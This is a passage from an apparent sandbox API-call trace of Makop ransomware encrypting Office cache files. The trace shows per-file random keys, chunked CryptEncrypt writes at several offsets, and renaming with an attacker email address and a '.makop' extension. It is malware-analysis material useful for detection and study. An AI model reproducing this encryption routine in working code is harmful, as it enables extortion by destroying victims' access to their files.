nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0080.474] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.474] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.476] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=7378792) returned 1 [0080.476] GetProcessHeap () returned 0x48a0000 [0080.476] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.476] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.476] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0080.482] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.482] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.482] GetProcessHeap () returned 0x48a0000 [0080.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0080.482] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0080.482] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.482] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0080.483] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0080.483] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0080.483] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0080.483] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.483] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0080.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.491] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.492] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.492] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.528] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.531] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.531] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.537] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.538] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.538] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.597] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.600] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.600] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.603] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6c9770, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.603] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.621] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6c9770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.624] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.627] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.627] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.627] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.627] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.628] SetEndOfFile (hFile=0x124) returned 1 [0080.635] GetProcessHeap () returned 0x48a0000 [0080.635] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0080.635] GetProcessHeap () returned 0x48a0000 [0080.635] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.636] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0080.636] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.637] CloseHandle (hObject=0x124) returned 1 [0080.637] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0080.637] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.638] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=36233052) returned 1 [0080.638] GetProcessHeap () returned 0x48a0000 [0080.638] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.638] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.638] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.638] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0080.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.644] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.644] GetProcessHeap () returned 0x48a0000 [0080.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0080.645] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0080.645] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.645] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0080.645] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0080.645] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0080.645] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0080.646] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.646] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0080.646] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.646] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.647] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.647] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.661] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.664] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.664] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.667] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.667] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.667] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.667] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.677] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.681] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.683] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.683] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.684] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.684] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.691] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.694] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.694] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.697] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.697] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.697] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.698] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.698] SetEndOfFile (hFile=0x124) returned 1 [0080.705] GetProcessHeap () returned 0x48a0000 [0080.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.705] GetProcessHeap () returned 0x48a0000 [0080.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.706] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0080.706] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.707] CloseHandle (hObject=0x124) returned 1 [0080.707] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0080.707] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0080.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.710] GetProcessHeap () returned 0x48a0000 [0080.710] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.710] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.710] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0080.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.710] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.710] GetProcessHeap () returned 0x48a0000 [0080.710] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0080.710] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0080.711] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.711] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0080.715] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0080.716] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0080.716] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0080.716] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.716] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0080.716] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.716] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.717] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.717] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x100000, lpOverlapped=0x0) returned 1 [0080.762] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x100000) returned 1 [0080.773] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.773] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x100000, lpOverlapped=0x0) returned 1 [0080.782] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.782] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 